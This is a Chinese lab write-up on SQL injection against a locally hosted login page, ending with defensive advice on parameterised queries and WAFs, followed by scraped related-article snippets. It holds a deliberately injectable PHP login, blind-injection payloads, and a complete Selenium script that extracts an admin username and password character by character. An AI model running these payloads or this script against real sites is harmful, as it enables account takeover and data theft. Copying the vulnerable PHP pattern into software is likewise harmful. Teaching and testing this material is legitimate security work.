通过SQL注入获得网站后台用户密码

article/2025/9/23 9:46:36

文章目录

    • 一、实验目的
    • 二、实验准备
    • 三、实验内容
    • 四、WAMP服务器搭建步骤
      • 1. 安装wamp,启动所有服务,“start all services”
      • 2. 通过phpmyadmin,新建数据库test,创建admin管理员账号表,并添加相应的账户名和密码
      • 3. 将login.php和verify.phpf放入wamp的www文件夹
    • 五、SQL注入的详细步骤
      • 1. 验证存在SQL注入漏洞
      • 2. 接下来可以猜测管理员帐号表
      • 3. 接下来猜测表中字段
      • 4. 接下来确定用户名的长度
      • 5. 接下来确定用户名
      • 6. 确定用户名对应的密码
    • 六、意外情况
      • 1. sqli与sql不同
      • 2. 同时有多个用户名都满足要求
    • 七、源码及运行结果
    • 八、防范SQL注入的方案
      • 1.代码层面
      • 2. 网络层面

一、实验目的

通过 SQL 注入攻击,掌握网站的工作机制,认识到 SQL 注入攻击的防范措施,加强对 Web 攻击的防范。

二、实验准备

(1)了解网站的运行机制和原理。

(2)了解 asp、php、jsp 或者 asp.net 语言的工作原理。

(3)熟悉数据库 SQL 语言。

(4)在 Internet 上搜索 SQL 注入的相关文章,学习 SQL 注入的原理和方法。

三、实验内容

通过模拟 SQL 注入攻击获得某网站后台登陆密码。

(1)通过本地服务器搭建模拟网站。

(2)测试其是否存在SQL注入漏洞,进行模拟攻击。

(3)获得后台数据库中的存储网站用户和密码的数据表。

(4)获得其中一对用户名和密码。

(6)用获得的用户名和密码验证是否能够登陆。

(7)为这个网站的SQL注入漏洞提出解决方案和防范方法。

(8)使用seleium库撰写python爬虫脚本,自动获取SQL管理员的用户名和密码。

四、WAMP服务器搭建步骤

1. 安装wamp,启动所有服务,“start all services”

在这里插入图片描述

2. 通过phpmyadmin,新建数据库test,创建admin管理员账号表,并添加相应的账户名和密码

在这里插入图片描述

3. 将login.php和verify.phpf放入wamp的www文件夹

其中login.php如下:

<html><head><title>Sql注入演示</title><meta http-equiv="content-type" content="text/html;charset=utf-8"></head><body ><form action="verify.php" method="post"><fieldset ><legend>Sql注入演示</legend><table><tr><td>用户名:</td><td><input type="text" name="username"></td></tr><tr><td>密  码:</td><td><input type="text" name="password"></td></tr><tr><td><input type="submit" value="提交"></td><td><input type="reset" value="重置"></td></tr></table></fieldset></form></body>
</html>

verify.php如下:

<html><head><title>登录验证</title><meta http-equiv="content-type" content="text/html;charset=utf-8"></head><body>
<?php$conn=@mysql_connect('127.0.0.1:3306','root','') or die("数据库连接失败!");mysql_select_db("test",$conn) or die("您要选择的数据库不存在");//修改成数据名,此处为test$name=$_POST['username'];$pwd=$_POST['password'];$sql="select * from admin where username='$name' and password='$pwd'";//修改成表名,此处为users$query=mysql_query($sql);$arr=mysql_fetch_array($query);if(is_array($arr)){echo "<script>alert('登录成功')</script>";}else{echo "您的用户名或密码输入有误,<a href=\"login.php\">请重新登录!</a>";}
?></body>
</html>

浏览器打开http://localhost/login.php即可看到登录页面。

在这里插入图片描述

五、SQL注入的详细步骤

1. 验证存在SQL注入漏洞

用户名输入’ or 1=1#密码无论输入什么,均可以正确登陆:

原因是sql语句变成了:select * from admin where username=’’ or 1=1#’ and password=‘123’,任意数据库的记录都满足该条件,因此arr是有效的。

输入’ and 1=1# 会返回账号错误,但是不会报错退出,因为sql语句仍然是有效的。

以上步骤确定了数据库存在SQL注入漏洞,并可以通过此漏洞进行用户名密码的获取。

2. 接下来可以猜测管理员帐号表

用户名填' or exists (select * from admin)#

SQL语句变成:select * from admin where username='' or exists (select * from admin)#'...如果登陆成功,说明数据库中确实有对应的admin表格,而且很有可能是管理员帐号表。

在此列举可能的管理员账号表用于猜测:name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']

' and exists (select * from admin)# 也可以用来猜测,如果没有出现如下图的异常,说明数据库中确实有对应的表名

3. 接下来猜测表中字段

根据已有的表名admin进行猜测其可能有的字段,一般的管理员表格都是通过id, username, password来登陆的。

输入' and exists (select id from admin) #没有异常,即:select * from admin where username='' and exists (select id from admin)#' ... 可以执行,说明数据库中确实有id字段

同样的,可以猜测有password, username两个字段

4. 接下来确定用户名的长度

以下其他信息的获取与上面有所不同。因为使用查询不存在的表名与字段名,SQL语句均会报错,而查询不存在的用户名与密码时,SQL语句只会返回空的结果,于是exits语句返回为False。页面正常但返回用户名错误,只有将exist前的and换为or才能分辨两者的区别。

' or exists (select id from admin where id=4) # 选择可能存在的id号,能够正确登陆。

' or exists (select id from admin where length(username)<6 and id=4) # 用于猜测对应的用户名长度范围(可用2分法)

' or exists (select id from admin where length(username)=5 and id=1) # 用于精确猜测对应的用户名长度

5. 接下来确定用户名

' or 4=(select id from admin where mid(username,1,1)='d')# 截取用户名的第一位,猜测对应的值,相当于以下sql语句:

select * from admin where username='' and 4=(select id from admin where mid(username,1,1)='d')# ...

其中mid(username,1,1)表示截取username从第1位开始长度为1 的部分,即用户名的第一位,同样试出对应的第二位(mid(username,2,1))到第五位,是david,可用填入以下验证:

' or 1=(select id from admin where username='david')

6. 确定用户名对应的密码

同样的可以通过对应的id号码试出密码:anekeyzzz456。于是得到了后台的一个用户名和密码。

六、意外情况

1. sqli与sql不同

verify.php中$conn=@mysql_connect('127.0.0.1:3306','root','') or die("数据库连接失败!");若使用mysqli_connect就会出以下问题:

并不是因为数据库不存在,而是根本就没有正确连上数据库。经过修改以后,输入数据库中存在的admin/password能够正确登陆。

2. 同时有多个用户名都满足要求

我们尝试select * from admin where username='' or 4=(select id from admin where mid(username,1,1)='d')#时,如果首字母开头为d的用户名有两个,则sql语句发生错误:

在这里插入图片描述

因为一个不可能与两个相等,这时,我们必须要设置id是后面的子集才能成功。所以使用到in:

在这里插入图片描述

七、源码及运行结果

使用python的selenium库进行自动化爬虫,按照以上步骤进行自动化尝试。

import timefrom selenium import webdriver
from selenium.common.exceptions import NoAlertPresentException
from selenium.webdriver.chrome.options import Optionsclass Webber:interval = 0chrome_options = Options()chrome_options.add_argument('--headless')alpha_dict = [chr(x) for x in list(range(97, 123))+list(range(65,91))+list(range(48,58))]def __init__(self, url):self.url = urlself.driver = webdriver.Chrome()self.driver.get(url)def get_path(self):try:return self.driver.find_element_by_name('username')except:return self.driver.find_element_by_name('user_login')def login(self):self.driver.find_element_by_xpath('/html/body/form/fieldset/table/tbody/tr[3]/td[1]/input').click()def alert_is_present(self):  # 弹窗代表登陆成功,否则进入异常或错误页面。注意返回正常登陆页面try:alert = self.driver.switch_to.alertalert.accept()return Trueexcept NoAlertPresentException:return Falsefinally:self.roll_back()def roll_back(self):self.driver.back()time.sleep(web.interval)def try_value(self, value):self.get_path().clear()self.get_path().send_keys(value)time.sleep(web.interval)self.login()time.sleep(web.interval)return self.alert_is_present()def get_table_name(self):name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']for name in name_list:if self.try_value("' or exists (select * from " + name + ")#"):return namereturn Nonedef try_field_name(self, table, field):return self.try_value("' or exists (select " + field + " from " + table + ")#")def get_field_name(self, table):field_list = ['id', 'username', 'password', 'user_login', 'user_password']list_ = []for field in field_list:if self.try_field_name(table, field):list_.append(field)print("fields in table are: " + str(list_))return list_def has_id(self, table, id):return self.try_value("' or exists (select id from " + table + " where id=" + id + ")#")# 尝试用户名的长度 [m,M] 之间def try_field_length(self, table, id, m, M, field):return self.try_value("' or exists (select id from " + table + " where id=" + id + " and length("+field+")>=" + str(m) + " and length("+field+")<=" + str(M) + ")#")def get_field_length(self, table, id, field):m = 0M = 100assert self.try_field_length(table, id, m, M, field)while m < M:print(m, M)mid = int((m+M)/2)if self.try_field_length(table, id, m, mid, field):M = midelse:m = mid + 1assert m == Mreturn mdef try_field_i(self, table, id, i, field):for t in Webber.alpha_dict:if self.try_value("' or "+id+" in (select id from "+table+" where mid("+field+","+str(i)+",1)='"+t+"')#"):return traise Exception("no such alpha!")def get_field(self, table, id, length, field):field_str = ""for i in range(1, length+1):print(i, end=': ')ch = self.try_field_i(table, id, i, field)print(ch)field_str += chreturn field_strif __name__ == '__main__':web = Webber('http://localhost/login.php')time.sleep(web.interval)# 1. 验证存在SQL注入漏洞'if not web.try_value("' or 1=1#"):print("this website doesn't have sql")else:# 2. 接下来可以猜测管理员帐号表table = web.get_table_name()assert tableprint('table name is: ' + table)# 3. 接下来猜测表中字段assert {'id', 'username', 'password'} <= set(web.get_field_name(table))# 4. 接下来确定用户名的长度# 下面以 id =4 为例尝试其用户名与密码assert web.has_id(table, '4')l = web.get_field_length(table, '4', 'username')print("length of username(4) is: " + str(l))# 5. 接下来确定用户名username = web.get_field(table, '4', l, 'username')print("username(4) is: " + username)# 6. 确定用户名对应的密码l = web.get_field_length(table, '4', 'password')print("length of password(4) is: " + str(l))password = web.get_field(table, '4', l, 'password')print("password(4) is: " + password)

运行结果如下:运行代码进行暴力尝试,运行大概1分钟,获取了id=4对应的用户名 david以及密码anekeyzzz456

table name is: admin
fields in table are: ['id', 'username', 'password']
0 100
0 50
0 25
0 12
0 6
4 6
4 5
length of id(4) is: 5
1: d
2: a
3: v
4: i
5: d
username of id(4) is: david
0 100
0 50
0 25
0 12
7 12
10 12
length of id(4) is: 12
1: a
2: n
3: e
4: k
5: e
6: y
7: z
8: z
9: z
10: 4
11: 5
12: 6
password of id(4) is: anekeyzzz456

八、防范SQL注入的方案

1.代码层面

当数据库对用户在客户端的输入字符或语句不加限制的读取到并执行时,就产生了sql注入漏洞,自然的当数据库对客户端的输入进行了相关的限制和过滤后,使用预处理和参数化,sql注入的风险会大大降低。

利用sql自身所带的转义函数,可以把获取到的客户端语句进行相应的转义。

当然也可以进行过滤,既然测试者在构造payload时需要相关的字符,那将这些字符过滤掉确实是一种方法(当绝不是最好的,因为数据库的更新换代导致字符绝不是一层不变的。)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KqKutYer-1590061281214)()]

2. 网络层面

自然是使用相应的安全设备,例如WAF设备启用防SQL Inject注入策略,云端防护(著名的阿里云盾)等

至于什么是好的方法,这里展示专业人员推荐的方法

PDO即统一的数据库访问接口。它可以防止前端传进来的参数被拼接到sql语句的情况。

正如上图所示,它会将前端输入的参数用占位符“?”来代替,并把这条语句结果先和数据库进行交付,再传参。而不是一起传进去。也就避免了不加节制的拼接前端语句

既然网站服务器存在sql注入漏洞,测试者可以通过相关payload来遍历数据,那在客户端和web 服务之间架一堵防火墙也不失为一种好的方法。一旦访问中存在恶意的字符就会被阻断掉。当然防火墙的设置并不代表后台服务器就允许存在sql注入漏洞,这两者是一种动态的关系需要同时推进。


http://chatgpt.dhexx.cn/article/7ZamnKdL.shtml

相关文章

记一次暴力破解tomcat后台密码(附带python脚本)

一、原理介绍 tomcat是一个免费的&#xff0c;开放源代码的Web应用服务器&#xff0c;是Apache软件基金会项目中的一个核心项目&#xff0c;由Apache &#xff0c;Sun和一些公司以及个人共同开发而成&#xff0c;深受Java爱好者的喜爱&#xff0c;是一款比较流行的web应用服务器…

php后台管理修改密码,重置网站后台管理员密码

重置网站后台管理员密码 忘记网站后台登录用户名和密码如何解决&#xff0c;有两种方法。 1、用重置工具操作&#xff0c;重置管理员密码 把admtool.php 利用FTP上传到cms的根目录下 用浏览器运行一下就可以了 运行后的账号和密码 都会变成admin 没忘记管理员密码的时候 不要传…

php网站后台密码忘记,phpweb忘记后台密码

1.保存以下代码&#xff0c;将文件名修改为findpass.php &#xff0c;并上传到站点程序如www目录&#xff1a; if(isset($_GET[‘password’])) { require(“config.inc.php”); $linkmysql_connect($dbHost,$dbUser,$dbPass); mysql_select_db($dbName); $usernametrim($_GET[…

web后台登录口令暴力破解及防御

在实际网络安全评估测试中&#xff0c;前台是给用户使用&#xff0c;后台是给网站管理维护人员使用&#xff0c;前台功能相对简单&#xff0c;后台功能相对复杂&#xff0c;可能保护媒体文件上传&#xff0c;数据库管理等。前台用户可以自由注册&#xff0c;而后台是网站管理或…

(VS2019编译器默认为X64);解决系统资源不足,无法完成请求服务

问题&#xff1a;VS运行程序时&#xff0c;提示系统资源不足,无法完成请求服务&#xff0c;如下图所示&#xff0c;而程序经过检查无误。 笔主电脑装载&#xff08;迈克菲&#xff09;McAfee杀毒软件. 可供参考解决方案&#xff1a; 1.关闭杀毒软件迈克菲的实时扫描功能。&…

vs2019提示系统资源不足

刚换的新电脑&#xff0c;8g内存稍微一万就占用80%以上&#xff0c;很糟心。 尤其在用vs2019的时候&#xff0c;就运行一个简单的浮点型和双精度&#xff0c;提示系统资源不足&#xff0c;吓得我立马打开看看内存占用&#xff0c;结果占用89%。代码如下 float f1 3.1415926f;c…

idea启动项目时,系统资源不足问题

idea启动项目时&#xff0c;系统资源不足问题 问题如图 既然提示内存不足&#xff0c;首先尝试加大内存&#xff0c;方法如下 如果调大之后&#xff0c;启动仍然报错&#xff0c;则检查jdk安装是否时64bit&#xff08;32bit&#xff09;&#xff0c;要求与自己电脑相同。 若不…

运行vs提示系统资源不足,无法完成请求服务

vs运行代码提示系统资源不足,无法完成请求服务 运行环境问题解决方法 运行环境 win10visual studio2019 问题 跑一个上周运行过且没有任何问题的代码&#xff0c;突然提示“系统资源不足,无法完成请求服务”。以为是后台应用太多&#xff0c;关掉后仍然有提示。无奈重启&…

系统资源不住无法完成请求的服务器,windows10系统提示“系统资源不足,无法完成请求的服务”怎么办...

最近有windows10系统用户到本站咨询这样一个问题&#xff0c;就是打开程序的时候&#xff0c;遇到了提示“系统资源不足&#xff0c;无法完成请求的服务”的情况&#xff0c;造成无法打开程序&#xff0c;该怎么办呢&#xff0c;本文就给大家带来windows10系统提示“系统资源不…

maven项目compile package时报系统资源不足。java.lang.OutOfMemoryError: Java heap space(内存溢出)

今天在做项目过程中发生已了一件意料之外的事情&#xff0c;原本好好的系统合并代码后本地DEBUG系统正常使用&#xff0c;当准备打包&#xff08;WAR&#xff09;发布时出现了如下错误&#xff1a; 系统资源不足。 有关详细信息, 请参阅以下堆栈跟踪。 java.lang.OutOfMemoryE…

win10win7打开软件提示系统资源不足,无法完成请求服务的解决方法

有些win7、win10用户莫名的遇到了一个问题&#xff0c;就是安装部分软件的时候提示系统资源不足,无法完成请求服务&#xff0c;刚开始以为是系统缺少了某些组件&#xff0c;结果发现是国外杀毒迈克菲&#xff08;McAfee&#xff09;在捣鬼。 报错 关闭迈克菲的实时防护或者卸载…

[InteliJ IDEA] 系统资源不足

情形1&#xff1a;idea 编译项目时 Information:java: 系统资源不足。 Information:java: 有关详细信息, 请参阅以下堆栈跟踪。 Information:java: at java.util.HashMap.inflateTable(HashMap.java:316) Information:java: at java.util.HashMap.put(HashMap.java:488) Inf…

windows 系统资源不足,无法满足请求服务

这个错误真的把我害的够呛 耽误了两天工时… 之前在网上查找解决方案的时候&#xff1a;“系统资源不足&#xff0c;无法满足请求服务“ &#xff0c;而内存够大&#xff0c;解决办法 听信用了360 还用了360系统急救箱 是扫描出一个.sys驱动文件 然后删了 结果 是的SQL SERVER…

Information:java: 系统资源不足。

1、 java程序编译很慢 &#xff1b; 2、 CPU利用率100%&#xff1b; 3、 出现Information:java: 系统资源不足警告&#xff1b; 4、编译时候报错Error:java: Compilation failed: internal java compiler error。 我这主要是出现问题1 2 3&#xff1b;如果单一出现问题4那么很…

VMware 恢复快照出现 无法创建 5040 MB 的匿名分页文件: 系统资源不足,无法完成请求的服务

环境&#xff1a; 电脑&#xff1a;联想E14 系统&#xff1a;Windows 10 专业版 64位 VMware 16.0 问题描述&#xff1a; 恢复快照出现 无法创建 5040 MB 的匿名分页文件: 系统资源不足&#xff0c;无法完成请求的服务 然后自动关闭&#xff0c;未能启动虚拟机。这台安装…

win10不能安装破解软件:提示系统资源不足,无法完成请求服务的解决方法

第一&#xff1a;win10我的电脑怎么放到桌面 在桌面空白处点击鼠标右键选择个性化&#xff0c;如下图所示 第二&#xff1a;就是最简单的方法 卸载 迈克菲&#xff08;McAfee&#xff09;改用国内杀毒 近期有些win7、win10用户莫名的遇到了一个问题&#xff0c;就是打开一些软…

系统资源不足,无法满足请求服务 --解决方法之一

如果使用了某种激活工具&#xff0c;那么激活系统后&#xff0c;电脑用过一段时间后可能会出现“系统资源不足&#xff0c;无法满足请求服务”这种情况。无法点击运行其他应用程序。 解决此问题&#xff0c;一般有以下两种方法&#xff1a; 1、修改注册表&#xff1b; 2、利…

系统资源不足

win10系统资源不足&#xff0c;无法破解软件 小白的电脑一直不能破解EA&#xff0c;当破解的时候一直显示系统资源不足&#xff0c;百度了之后&#xff0c;找到的解决办法都是卸载迈克菲或者将EA加入迈克菲白名单&#xff0c;但是小白早就卸载了迈克菲&#xff0c;但当小白打开…

win10提示系统资源不足,无法完成请求服务的解决方法

win10提示系统资源不足,无法完成请求服务的解决方法 win10提示系统资源不足,无法完成请求服务的解决方法 问题描述分析&#xff1a;操作&#xff1a;验证&#xff1a;举一反三&#xff1a; 问题描述 最近安装xmlspy2013 破解程序&#xff0c;就是打开注册机&#xff0c;就提示…

你的计算机资源不足 无法,教你电脑提示系统资源不足无法完成请求的服务怎么办...

最近有用户反馈&#xff0c;打开电脑正要登陆一个程序的时候&#xff0c;遇到了系统提示“系统资源不足,无法完成请求服务”的问题&#xff0c;一开始还以为自己系统出现了故障&#xff0c;清理了所有的内存后再次打开同样出现这样&#xff0c;不在如何解决。其实此问题解决方法…